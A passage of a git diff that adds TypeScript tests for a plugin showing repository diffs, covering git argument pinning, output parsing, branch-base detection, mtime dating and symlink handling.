+ 'vs a-rel',
+ 'ease-bra',
+ 'nch-with',
+ '-a-name-',
+ 'longer-t',
+ 'han-a-ro',
+ 'w-of-the',
+ '-pane',
+ ],
+ 23: [
+ 'No changes vs ',
+ 'a-release-branch-with-a',
+ '-name-longer-than-a-row',
+ '-of-the-pane',
+ ],
+ 24: [
+ 'No changes vs a-release-',
+ 'branch-with-a-name-longe',
+ 'r-than-a-row-of-the-pane',
+ ],
+ 48: [
+ 'No changes vs a-release-branch-with-a-name-longe',
+ 'r-than-a-row-of-the-pane',
+ ],
+ 70: [
+ 'No changes vs ',
+ 'a-release-branch-with-a-name-longer-than-a-row-of-the-pane',
+ ],
+ },
+}
diff --git a/mods/diff/tests/fixtures/wrapped-lines/index.ts b/mods/diff/tests/fixtures/wrapped-lines/index.ts
new file mode 100644
index 00000000..fefe947d
--- /dev/null
+++ b/mods/diff/tests/fixtures/wrapped-lines/index.ts
@@ -0,0 +1,3 @@
+export * from './builtin-wraps.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/git.test.ts b/mods/diff/tests/git.test.ts
index 0ec8f925..71ea05c5 100644
--- a/mods/diff/tests/git.test.ts
+++ b/mods/diff/tests/git.test.ts
@@ -1,31 +1,40 @@
import { describe, expect, test, tier } from 'claude-code/testing'
+import Git from '../hooks/git'
import Fixtures from './fixtures'
tier('builtin')
describe('git', () => {
- test('each git child runs pinned to /work, in C locale', async ($, on) => {
- const world = Fixtures.inRepository(on)
+ test('each git child names the pin, in the C locale', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret())
- await $.session.start(Fixtures.SESSION)
+ await $.session.start(Fixtures.WORKTREE_SESSION)
await $.command.run(Fixtures.DIFF)
await world.clock.advance(Fixtures.SETTLE_MS)
+ await $.ui.render(Fixtures.PANE)
+ await $.ui.press({ plugin: 'diff', key: 'ask' })
+ await world.clock.settle()
const [discovery, ...pinned] = world.runs
+ const diffs = pinned.filter(run => run.argv.includes('diff'))
expect(discovery?.argv).toContain('--show-toplevel')
expect(discovery?.init?.cwd).toBeUndefined()
- expect(pinned.length).toBeGreaterThan(0)
+ expect(diffs.length).toBeGreaterThanOrEqual(3)
+
+ for (const run of world.runs) {
+ expect(run.init?.env).toEqual(Git.GIT_CHILD_ENV)
+ }
for (const run of pinned) {
- expect(run.argv.slice(0, 3)).toEqual([
- 'git',
- '--git-dir=/work/.git',
- '--work-tree=/work',
- ])
+ expect(run.argv.slice(0, Fixtures.PINNED_LEAD.length)).toEqual(
+ Fixtures.PINNED_LEAD,
+ )
- expect(run.init).toMatchObject({ cwd: '/work', env: { LC_ALL: 'C' } })
+ expect(run.init).toMatchObject({ cwd: '/main/wt' })
}
+
+ expect(world.runs.some(run => run.argv.includes('config'))).toBe(false)
})
})
diff --git a/mods/diff/tests/git/fetch-diff.test.ts b/mods/diff/tests/git/fetch-diff.test.ts
new file mode 100644
index 00000000..9a4c9d56
--- /dev/null
+++ b/mods/diff/tests/git/fetch-diff.test.ts
@@ -0,0 +1,544 @@
+import type { ProcessRunResult } from 'claude-code'
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Git from '../../hooks/git'
+import Limits from '../../hooks/limits'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('fetch-diff', () => {
+ const HALF_CAP_RECORDS = Limits.HOST_OUTPUT_CAP_BYTES / 2
+ const NEAR_CAP_RECORDS = HALF_CAP_RECORDS - 2
+
+ type Script = Record<string, ProcessRunResult>
+ type Listing = readonly (readonly [string, Git.EntryKind])[]
+ type ScriptedDeps = Git.GitDeps & Pick<Fixtures.ScriptedGit, 'argvs'>
+
+ const listingOf = (entries: Listing): ReadonlyMap<string, Git.EntryKind> =>
+ new Map(entries)
+
+ function depsOf(
+ script: Script,
+ overrides: Partial<Git.GitDeps> = {},
+ ): ScriptedDeps {
+ const scripted = Fixtures.scriptedGitOf(script)
+
+ return {
+ argvs: scripted.argvs,
+ run: scripted.run,
+ repository: Fixtures.FETCH_REPOSITORY,
+ mtimeOf: () => Promise.resolve(Fixtures.DURING_SESSION_MS),
+ entryKindsOf: () => Promise.resolve(listingOf(Fixtures.FILES_LISTING)),
+ sessionStartMs: Fixtures.GIT_SESSION_START_MS,
+ onBranchBase: () => undefined,
+ ...overrides,
+ }
+ }
+
+ const unbornScriptOf = (): Script => ({
+ [Fixtures.VS_HEAD]: Fixtures.UNSCRIPTED,
+ 'rev-parse --verify --quiet HEAD': Fixtures.PROBE_MISSED,
+ '--cached --shortstat': Fixtures.ok(Fixtures.ONE_STAGED),
+ 'ls-files': Fixtures.ok(),
+ })
+
+ const datedBefore =
+ (suffix: string): Git.GitDeps['mtimeOf'] =>
+ path =>
+ Promise.resolve(
+ path.endsWith(suffix)
+ ? Fixtures.BEFORE_SESSION_MS
+ : Fixtures.DURING_SESSION_MS,
+ )
+
+ const trackedNoUntrackedOf = (): Script => ({
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\0'),
+ 'ls-files': Fixtures.GIT_TIMED_OUT,
+ })
+
+ const onFeatureNoUntrackedOf = (): Script => ({
+ 'rev-parse --abbrev-ref HEAD': Fixtures.ok('feature\n'),
+ 'symbolic-ref --short refs/remotes/origin/HEAD':
+ Fixtures.ok('origin/main\n'),
+ 'show-ref --verify --quiet refs/remotes/origin/main': Fixtures.ok(),
+ 'merge-base HEAD origin/main': Fixtures.ok(`${Fixtures.ORIGIN_BASE}\n`),
+ 'rev-parse HEAD': Fixtures.ok(`${Fixtures.FEATURE_HEAD}\n`),
+ [`${Fixtures.ORIGIN_BASE} --shortstat`]: Fixtures.ok(Fixtures.ONE_STAGED),
+ [`${Fixtures.ORIGIN_BASE} --numstat`]: Fixtures.ok('3\t0\ta.ts\0'),
+ 'ls-files': Fixtures.GIT_TIMED_OUT,
+ })
+
+ const unbornNoUntrackedOf = (): Script => ({
+ ...unbornScriptOf(),
+ '--cached --numstat': Fixtures.ok('3\t0\tstaged.ts\0'),
+ '--submodule=short --numstat': Fixtures.ok('2\t1\tstaged.ts\0'),
+ 'ls-files': Fixtures.GIT_TIMED_OUT,
+ })
+
+ test('session mode: rows tagged by mtime, untracked merged', async () => {
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(
+ ' 2 files changed, 3 insertions(+), 1 deletion(-)',
+ ),
+ 'HEAD --numstat': Fixtures.ok('2\t1\told.ts\x001\t0\tnew.ts\0'),
+ 'ls-files': Fixtures.ok('scratch.txt\0'),
+ },
+ { mtimeOf: datedBefore('old.ts') },
+ ),
+ 'session',
+ )
+
+ const data = outcome.kind === 'data' ? outcome.data : null
+
+ expect(data?.repository).toEqual(Fixtures.FETCH_REPOSITORY)
+ expect(data?.baseRef).toBe('HEAD')
+ expect(data?.isUnborn).toBe(false)
+
+ expect(data?.stats).toEqual({
+ filesCount: 3,
+ linesAdded: 3,
+ linesRemoved: 1,
+ })
+
+ expect(
+ data?.files.map(file => [file.path, file.isPreSession, file.isUntracked]),
+ ).toEqual([
+ ['old.ts', true, false],
+ ['new.ts', false, false],
+ ['scratch.txt', false, true],
+ ])
+ })
+
+ test('every diff spawn carries the pinned leading argv', async () => {
+ const deps = depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ })
+
+ await Git.fetchDiff(deps, 'uncommitted')
+
+ const diffs = deps.argvs.filter(argv => argv.includes('diff'))
+
+ expect(deps.argvs.every(argv => argv[0] === '--no-optional-locks')).toBe(
+ true,
+ )
+
+ expect(diffs).toHaveLength(2)
+
+ expect(diffs.every(argv => argv.includes('core.quotePath=false'))).toBe(
+ true,
+ )
+
+ expect(diffs.every(argv => argv.includes('--no-ext-diff'))).toBe(true)
+ expect(diffs.every(argv => argv.includes('--no-textconv'))).toBe(true)
+ expect(diffs[1]).toContain('-z')
+ expect(deps.argvs.find(argv => argv.includes('ls-files'))).toContain('-z')
+
+ expect(
+ diffs.every(
+ argv =>
+ argv.slice(0, Git.DIFF_LEADING_ARGS.length).join(' ') ===
+ Git.DIFF_LEADING_ARGS.join(' '),
+ ),
+ ).toBe(true)
+ })
+
+ test('uncommitted mode drops pre-session untracked files', async () => {
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(),
+ 'HEAD --numstat': Fixtures.ok(),
+ 'ls-files': Fixtures.ok('stale.txt\0fresh.txt\0'),
+ },
+ { mtimeOf: datedBefore('stale.txt') },
+ ),
+ 'uncommitted',
+ )
+
+ expect(
+ outcome.kind === 'data' && outcome.data.files.map(file => file.path),
+ ).toEqual(['fresh.txt'])
+ })
+
+ test('past 500 files: totals only, no numstat, no untracked', async () => {
+ const deps = depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 501 files changed, 9 insertions(+)'),
+ })
+
+ const outcome = await Git.fetchDiff(deps, 'session')
+
+ expect(outcome.kind === 'data' && outcome.data.stats.filesCount).toBe(501)
+ expect(outcome.kind === 'data' && outcome.data.files).toEqual([])
+ expect(deps.argvs.some(argv => argv.includes('--numstat'))).toBe(false)
+ expect(deps.argvs.some(argv => argv.includes('ls-files'))).toBe(false)
+ })
+
+ test('a transient state file: unavailable, and no diff runs', async () => {
+ const deps = depsOf(
+ {},
+ {
+ entryKindsOf: dir =>
+ Promise.resolve(
+ listingOf(
+ dir === '/repo/.git' ? Fixtures.MERGING : Fixtures.FILES_LISTING,
+ ),
+ ),
+ },
+ )
+
+ expect(await Git.fetchDiff(deps, 'session')).toEqual({
+ kind: 'unavailable',
+ })
+
+ expect(deps.argvs.some(argv => argv.includes('diff'))).toBe(false)
+ })
+
+ test('unborn HEAD: staged rows with unstaged edits folded in', async () => {
+ const outcome = await Git.fetchDiff(
+ depsOf({
+ [Fixtures.VS_HEAD]: Fixtures.UNSCRIPTED,
+ 'rev-parse --verify --quiet HEAD': Fixtures.PROBE_MISSED,
+ '--cached --shortstat': Fixtures.ok(' 1 file changed, 3 insertions(+)'),
+ '--cached --numstat': Fixtures.ok('3\t0\tstaged.ts\0'),
+ '--submodule=short --numstat': Fixtures.ok('2\t1\tstaged.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ }),
+ 'session',
+ )
+
+ const data = outcome.kind === 'data' ? outcome.data : null
+
+ expect(data?.isUnborn).toBe(true)
+ expect(data?.baseRef).toBe('--cached')
+
+ expect(
+ data?.files.map(file => [file.path, file.added, file.removed]),
+ ).toEqual([['staged.ts', 4, 0]])
+
+ expect(data?.stats.linesAdded).toBe(4)
+ expect(data?.stalePaths).toEqual(['staged.ts'])
+ })
+
+ test('unborn HEAD: a staged or unstaged listing git withheld', async () => {
+ const noStaged = await Git.fetchDiff(depsOf(unbornScriptOf()), 'session')
+
+ const noUnstaged = await Git.fetchDiff(
+ depsOf({
+ ...unbornScriptOf(),
+ '--cached --numstat': Fixtures.ok('3\t0\tstaged.ts\0'),
+ '--submodule=short --numstat': Fixtures.ok('2\t1\tstaged.ts'),
+ }),
+ 'session',
+ )
+
+ expect(noStaged).toEqual({ kind: 'unavailable' })
+ expect(noUnstaged).toEqual({ kind: 'unavailable' })
+ })
+
+ test('a withheld untracked listing: tracked rows, flagged', async () => {
+ const outcomes = await Promise.all([
+ Git.fetchDiff(depsOf(trackedNoUntrackedOf()), 'session'),
+ Git.fetchDiff(depsOf(trackedNoUntrackedOf()), 'uncommitted'),
+ Git.fetchDiff(depsOf(onFeatureNoUntrackedOf()), 'branch'),
+ Git.fetchDiff(depsOf(unbornNoUntrackedOf()), 'session'),
+ ])
+
+ const listed = await Git.fetchDiff(
+ depsOf({
+ ...trackedNoUntrackedOf(),
+ 'ls-files': Fixtures.ok('new.ts\0'),
+ }),
+ 'uncommitted',
+ )
+
+ expect(
+ outcomes.map(
+ outcome =>
+ outcome.kind === 'data' && [
+ outcome.data.files.map(file => file.path),
+ outcome.data.stats.filesCount,
+ outcome.data.isUntrackedWithheld,
+ ],
+ ),
+ ).toEqual([
+ [['a.ts'], 1, true],
+ [['a.ts'], 1, true],
+ [['a.ts'], 1, true],
+ [['staged.ts'], 1, true],
+ ])
+
+ expect(listed.kind === 'data' && listed.data.isUntrackedWithheld).toBe(
+ false,
+ )
+ })
+
+ test('a failed vs-HEAD diff with commits present: unavailable', async () => {
+ expect(
+ await Git.fetchDiff(
+ depsOf({
+ 'rev-parse --verify --quiet HEAD': Fixtures.ok('abc\n'),
+ }),
+ 'session',
+ ),
+ ).toEqual({ kind: 'unavailable' })
+ })
+
+ test('a tracked or untracked symlink is never dated: no stat', async () => {
+ const probed: string[] = []
+
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(' 2 files changed, 2 insertions(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\told.ts\x001\t0\tlink.ts\0'),
+ 'ls-files': Fixtures.ok('leak\0scratch.txt\0'),
+ },
+ {
+ mtimeOf: path => {
+ probed.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ ),
+ 'session',
+ )
+
+ const data = outcome.kind === 'data' ? outcome.data : null
+
+ expect(probed.toSorted()).toEqual(['/repo/old.ts', '/repo/scratch.txt'])
+
+ expect(data?.files.map(file => [file.path, file.isPreSession])).toEqual([
+ ['old.ts', true],
+ ['link.ts', false],
+ ['leak', false],
+ ['scratch.txt', true],
+ ])
+ })
+
+ test('an unlistable directory dates nothing and stats nothing', async () => {
+ const probed: string[] = []
+
+ await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\told.ts\0'),
+ 'ls-files': Fixtures.ok('scratch.txt\0'),
+ },
+ {
+ entryKindsOf: () => Promise.resolve(null),
+ mtimeOf: path => {
+ probed.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ ),
+ 'session',
+ )
+
+ expect(probed).toEqual([])
+ })
+
+ test('a MERGE_HEAD that is a symbolic link is no merge', async () => {
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ },
+ {
+ entryKindsOf: dir => {
+ const isGitDir = dir === '/repo/.git'
+
+ return Promise.resolve(
+ listingOf(
+ isGitDir ? Fixtures.MERGE_HEAD_LINKED : Fixtures.FILES_LISTING,
+ ),
+ )
+ },
+ },
+ ),
+ 'session',
+ )
+
+ expect(outcome).toMatchObject({ kind: 'data' })
+ expect(outcome.kind === 'data' && outcome.data.files).toHaveLength(1)
+ })
+
+ test('a path under a symlinked directory: unlisted, undated', async () => {
+ const listed: string[] = []
+ const probed: string[] = []
+
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\tsub/inner.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ },
+ {
+ entryKindsOf: dir => {
+ listed.push(dir)
+
+ return Promise.resolve(listingOf(Fixtures.FILES_LISTING))
+ },
+ mtimeOf: path => {
+ probed.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ ),
+ 'session',
+ )
+
+ expect(listed).not.toContain('/repo/sub')
+ expect(probed).toEqual([])
+
+ expect(
+ outcome.kind === 'data' && outcome.data.files.map(f => f.isPreSession),
+ ).toEqual([false])
+ })
+
+ test('a listing the host cut short is never parsed', async () => {
+ const cutNumstat = await Git.fetchDiff(
+ depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 2 files changed, 2 insertions(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\x001\t0\told'),
+ 'rev-parse --verify --quiet HEAD': Fixtures.ok('abc\n'),
+ }),
+ 'uncommitted',
+ )
+
+ const cutUntracked = await Git.fetchDiff(
+ depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\0'),
+ 'ls-files': Fixtures.ok('scratch.txt\0fresh.tx'),
+ }),
+ 'uncommitted',
+ )
+
+ expect(cutNumstat).toEqual({ kind: 'unavailable' })
+
+ expect(
+ cutUntracked.kind === 'data' && [
+ cutUntracked.data.files.map(f => f.path),
+ cutUntracked.data.isUntrackedWithheld,
+ ],
+ ).toEqual([['a.ts'], true])
+
+ expect(Git.isWholeListing('a\0'.repeat(HALF_CAP_RECORDS))).toBe(false)
+ expect(Git.isWholeListing('a\0'.repeat(NEAR_CAP_RECORDS))).toBe(true)
+ })
+
+ test('an untracked directory git prints with a slash is dated', async () => {
+ const probed: string[] = []
+
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(),
+ 'HEAD --numstat': Fixtures.ok(),
+ 'ls-files': Fixtures.ok('nested/\0'),
+ },
+ {
+ entryKindsOf: () => Promise.resolve(listingOf([['nested', 'dir']])),
+ mtimeOf: path => {
+ probed.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ ),
+ 'session',
+ )
+
+ expect(probed).toEqual(['/repo/nested'])
+
+ expect(
+ outcome.kind === 'data' &&
+ outcome.data.files.map(file => [file.path, file.isPreSession]),
+ ).toEqual([['nested/', true]])
+ })
+
+ test('a hundred directories deep and wide still date', async () => {
+ const listed: string[] = []
+
+ const paths = Array.from(
+ { length: Fixtures.DEEP_DIRECTORIES },
+ (_, at) => `d${at}/nested/file${at}.txt`,
+ )
+
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(),
+ 'HEAD --numstat': Fixtures.ok(),
+ 'ls-files': Fixtures.ok(paths.map(path => `${path}\0`).join('')),
+ },
+ {
+ entryKindsOf: dir => {
+ listed.push(dir)
+
+ const isLeaf = dir.endsWith('/nested')
+
+ const entries: Listing = isLeaf
+ ? paths.map(path => [path.split('/').at(-1) ?? '', 'file'])
+ : [
+ ['nested', 'dir'],
+ ...paths.map(
+ path => [path.slice(0, path.indexOf('/')), 'dir'] as const,
+ ),
+ ]
+
+ return Promise.resolve(listingOf(entries))
+ },
+ mtimeOf: () => Promise.resolve(Fixtures.BEFORE_SESSION_MS),
+ },
+ ),
+ 'session',
+ )
+
+ const rows = outcome.kind === 'data' ? outcome.data.files : []
+
+ expect(
+ new Set(listed.filter(dir => dir !== Fixtures.FETCH_REPOSITORY.gitDir))
+ .size,
+ ).toBe(1 + 2 * Fixtures.DEEP_DIRECTORIES)
+
+ expect(rows).toHaveLength(Limits.MAX_FILES)
+ expect(rows.every(row => row.isPreSession)).toBe(true)
+ })
+
+ test('a rename is one row under its new name, diffed as a pair', async () => {
+ const deps = depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t1\t\0old.ts\0new.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ '-- old.ts new.ts': Fixtures.ok('@@ -1 +1 @@\n-a\n+b\n'),
+ })
+
+ const outcome = await Git.fetchDiff(deps, 'uncommitted')
+ const data = outcome.kind === 'data' ? outcome.data : null
+ const [row] = data?.files ?? []
+
+ const body =
+ data && row ? await Git.fetchFileHunks(deps.run, data, row) : null
+
+ expect(data?.files.map(f => [f.path, f.renamedFrom])).toEqual([
+ ['new.ts', 'old.ts'],
+ ])
+
+ expect(body?.hunks[0]?.lines).toEqual(['-a', '+b'])
+ })
+})
diff --git a/mods/diff/tests/git/parse/parse-file-diff.test.ts b/mods/diff/tests/git/parse/parse-file-diff.test.ts
new file mode 100644
index 00000000..29df7933
--- /dev/null
+++ b/mods/diff/tests/git/parse/parse-file-diff.test.ts
@@ -0,0 +1,61 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Parse from '../../../hooks/git/parse'
+import Limits from '../../../hooks/limits'
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('parse-file-diff', () => {
+ test('hunk starts and marked lines; header and notes skipped', () => {
+ const parsed = Parse.parseFileDiff(
+ `${Fixtures.FILE_DIFF_HEADER}@@ -1,3 +1,3 @@\n one\n-two\n+two ` +
+ `changed\n three\n\\ No newline at end of file\n@@ -10 +10,2 @@ fn\n ` +
+ `ctx\n+added\n`,
+ )
+
+ expect(parsed.isLarge).toBe(false)
+ expect(parsed.isTruncated).toBe(false)
+
+ expect(parsed.hunks).toEqual([
+ {
+ oldStart: 1,
+ newStart: 1,
+ lines: [' one', '-two', '+two changed', ' three'],
+ },
+ { oldStart: 10, newStart: 10, lines: [' ctx', '+added'] },
+ ])
+ })
+
+ test('a removed line that starts with dashes is body, not a header', () => {
+ expect(
+ Parse.parseFileDiff(
+ `${Fixtures.FILE_DIFF_HEADER}@@ -1 +1 @@\n---- old rule\n+--- new ` +
+ `rule\n`,
+ ).hunks[0]?.lines,
+ ).toEqual(['---- old rule', '+--- new rule'])
+ })
+
+ test('the body is cut at the line cap and marked truncated', () => {
+ const body = Array.from(
+ { length: Limits.MAX_LINES_PER_FILE + Fixtures.PAST_THE_CAP },
+ (_, at) => `+${at}`,
+ ).join('\n')
+
+ const parsed = Parse.parseFileDiff(
+ `${Fixtures.FILE_DIFF_HEADER}@@ -0,0 +1,405 @@\n${body}\n`,
+ )
+
+ expect(parsed.hunks[0]?.lines).toHaveLength(Limits.MAX_LINES_PER_FILE)
+ expect(parsed.isTruncated).toBe(true)
+ })
+
+ test('a diff past the byte cap is large and has no hunks', () => {
+ expect(
+ Parse.parseFileDiff(
+ `${Fixtures.FILE_DIFF_HEADER}@@ -1 +1 ` +
+ `@@\n+${'x'.repeat(Limits.MAX_DIFF_BYTES)}\n`,
+ ),
+ ).toEqual({ hunks: [], isTruncated: false, isLarge: true })
+ })
+})
diff --git a/mods/diff/tests/git/parse/parse-numstat.test.ts b/mods/diff/tests/git/parse/parse-numstat.test.ts
new file mode 100644
index 00000000..e082a491
--- /dev/null
+++ b/mods/diff/tests/git/parse/parse-numstat.test.ts
@@ -0,0 +1,67 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Parse from '../../../hooks/git/parse'
+import Limits from '../../../hooks/limits'
+
+tier('builtin')
+
+describe('parse-numstat', () => {
+ test('NUL records: totals, binaries at 0/0, tabs in a path kept', () => {
+ const parsed = Parse.parseNumstat(
+ '3\t1\tsrc/a.ts\0-\t-\timg.png\x002\t0\ta\tb.ts\0',
+ Limits.MAX_FILES,
+ )
+
+ expect(parsed.stats).toEqual({
+ filesCount: 3,
+ linesAdded: 5,
+ linesRemoved: 1,
+ })
+
+ expect(parsed.files.map(file => [file.path, file.isBinary])).toEqual([
+ ['src/a.ts', false],
+ ['img.png', true],
+ ['a\tb.ts', false],
+ ])
+
+ expect(
+ parsed.files.every(file => !file.isUntracked && !file.isPreSession),
+ ).toBe(true)
+ })
+
+ test('the cap keeps the first rows but counts every row', () => {
+ const parsed = Parse.parseNumstat('1\t0\ta\x001\t0\tb\x001\t0\tc\0', 2)
+
+ expect(parsed.files.map(file => file.path)).toEqual(['a', 'b'])
+ expect(parsed.stats.filesCount).toBe(3)
+ })
+
+ test('a line with fewer than three fields is no row', () => {
+ expect(
+ Parse.parseNumstat('\0warning: x\0', Limits.MAX_FILES).stats.filesCount,
+ ).toBe(0)
+ })
+
+ test('a non-ASCII path arrives as its own characters', () => {
+ expect(
+ Parse.parseNumstat('1\t1\tdocs/caf\u00e9.md\0', Limits.MAX_FILES).files[0]
+ ?.path,
+ ).toBe('docs/caf\u00e9.md')
+ })
+
+ test('a rename record keeps the new path and remembers the old', () => {
+ const parsed = Parse.parseNumstat(
+ '2\t1\t\0src/old.ts\0src/new.ts\x003\t0\tkept.ts\0',
+ Limits.MAX_FILES,
+ )
+
+ expect(
+ parsed.files.map(file => [file.path, file.renamedFrom, file.added]),
+ ).toEqual([
+ ['src/new.ts', 'src/old.ts', 2],
+ ['kept.ts', null, 3],
+ ])
+
+ expect(parsed.stats.filesCount).toBe(2)
+ })
+})
diff --git a/mods/diff/tests/git/parse/parse-shortstat.test.ts b/mods/diff/tests/git/parse/parse-shortstat.test.ts
new file mode 100644
index 00000000..4e50dd1e
--- /dev/null
+++ b/mods/diff/tests/git/parse/parse-shortstat.test.ts
@@ -0,0 +1,31 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Parse from '../../../hooks/git/parse'
+
+tier('builtin')
+
+describe('parse-shortstat', () => {
+ test('files, insertions and deletions; either tail optional', () => {
+ expect(
+ Parse.parseShortstat(
+ ' 3 files changed, 10 insertions(+), 2 deletions(-)\n',
+ ),
+ ).toEqual({ filesCount: 3, linesAdded: 10, linesRemoved: 2 })
+
+ expect(Parse.parseShortstat(' 1 file changed, 1 insertion(+)\n')).toEqual({
+ filesCount: 1,
+ linesAdded: 1,
+ linesRemoved: 0,
+ })
+
+ expect(Parse.parseShortstat(' 1 file changed, 4 deletions(-)\n')).toEqual({
+ filesCount: 1,
+ linesAdded: 0,
+ linesRemoved: 4,
+ })
+ })
+
+ test('an empty diff prints nothing and parses to null', () => {
+ expect(Parse.parseShortstat('')).toBeNull()
+ })
+})
diff --git a/mods/diff/tests/git/probes/branch-base-of.test.ts b/mods/diff/tests/git/probes/branch-base-of.test.ts
new file mode 100644
index 00000000..c9a18cb0
--- /dev/null
+++ b/mods/diff/tests/git/probes/branch-base-of.test.ts
@@ -0,0 +1,119 @@
+import type { ProcessRunResult } from 'claude-code'
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Git from '../../../hooks/git'
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('branch-base-of', () => {
+ type Script = Record<string, ProcessRunResult>
+
+ const runOf = (script: Script) => Fixtures.scriptedGitOf(script).run
+
+ const onFeature = (): Script => ({
+ 'rev-parse --abbrev-ref HEAD': Fixtures.ok('feature\n'),
+ 'symbolic-ref --short refs/remotes/origin/HEAD':
+ Fixtures.ok('origin/main\n'),
+ 'show-ref --verify --quiet refs/remotes/origin/main': Fixtures.ok(),
+ })
+
+ test("origin's merge-base wins unless the local descends", async () => {
+ expect(
+ await Git.branchBaseOf(
+ runOf({
+ ...onFeature(),
+ 'merge-base HEAD origin/main': Fixtures.ok(
+ `${Fixtures.ORIGIN_BASE}\n`,
+ ),
+ 'merge-base HEAD main': Fixtures.ok(`${Fixtures.LOCAL_BASE}\n`),
+ 'rev-parse HEAD': Fixtures.ok(`${Fixtures.FEATURE_HEAD}\n`),
+ }),
+ ),
+ ).toEqual({
+ kind: 'merge-base',
+ mergeBase: Fixtures.ORIGIN_BASE,
+ baseBranch: 'main',
+ })
+
+ expect(
+ await Git.branchBaseOf(
+ runOf({
+ ...onFeature(),
+ 'merge-base HEAD origin/main': Fixtures.ok(
+ `${Fixtures.ORIGIN_BASE}\n`,
+ ),
+ 'merge-base HEAD main': Fixtures.ok(`${Fixtures.LOCAL_BASE}\n`),
+ [`merge-base --is-ancestor ${Fixtures.ORIGIN_BASE} ` +
+ Fixtures.LOCAL_BASE]: Fixtures.ok(),
+ 'rev-parse HEAD': Fixtures.ok(`${Fixtures.FEATURE_HEAD}\n`),
+ }),
+ ),
+ ).toEqual({
+ kind: 'merge-base',
+ mergeBase: Fixtures.LOCAL_BASE,
+ baseBranch: 'main',
+ })
+ })
+
+ test('the default branch, or HEAD at the base: head-is-base', async () => {
+ expect(
+ await Git.branchBaseOf(
+ runOf({
+ ...onFeature(),
+ 'rev-parse --abbrev-ref HEAD': Fixtures.ok('main\n'),
+ }),
+ ),
+ ).toEqual({ kind: 'head-is-base', baseBranch: 'main' })
+
+ expect(
+ await Git.branchBaseOf(
+ runOf({
+ ...onFeature(),
+ 'merge-base HEAD origin/main': Fixtures.ok(
+ `${Fixtures.FEATURE_HEAD}\n`,
+ ),
+ 'rev-parse HEAD': Fixtures.ok(`${Fixtures.FEATURE_HEAD}\n`),
+ }),
+ ),
+ ).toEqual({ kind: 'head-is-base', baseBranch: 'main' })
+ })
+
+ test('a detached HEAD, or no common ancestor, has no base', async () => {
+ expect(
+ await Git.branchBaseOf(
+ runOf({
+ ...onFeature(),
+ 'rev-parse --abbrev-ref HEAD': Fixtures.ok('HEAD\n'),
+ }),
+ ),
+ ).toEqual({ kind: 'none' })
+
+ expect(
+ await Git.branchBaseOf(
+ runOf({
+ ...onFeature(),
+ 'merge-base HEAD origin/main': Fixtures.PROBE_MISSED,
+ 'merge-base HEAD main': Fixtures.PROBE_MISSED,
+ }),
+ ),
+ ).toEqual({ kind: 'none' })
+ })
+
+ test('a failed merge-base while the ref exists: error', async () => {
+ expect(await Git.branchBaseOf(runOf(onFeature()))).toEqual({
+ kind: 'error',
+ reason: 'merge_base_failed',
+ })
+ })
+
+ test('no default ref anywhere: none', async () => {
+ expect(
+ await Git.branchBaseOf(
+ runOf({
+ 'rev-parse --abbrev-ref HEAD': Fixtures.ok('feature\n'),
+ }),
+ ),
+ ).toEqual({ kind: 'none' })
+ })
+})
diff --git a/mods/diff/tests/git/probes/datings-of.test.ts b/mods/diff/tests/git/probes/datings-of.test.ts
new file mode 100644
index 00000000..3b823d32
--- /dev/null
+++ b/mods/diff/tests/git/probes/datings-of.test.ts
@@ -0,0 +1,119 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Git from '../../../hooks/git'
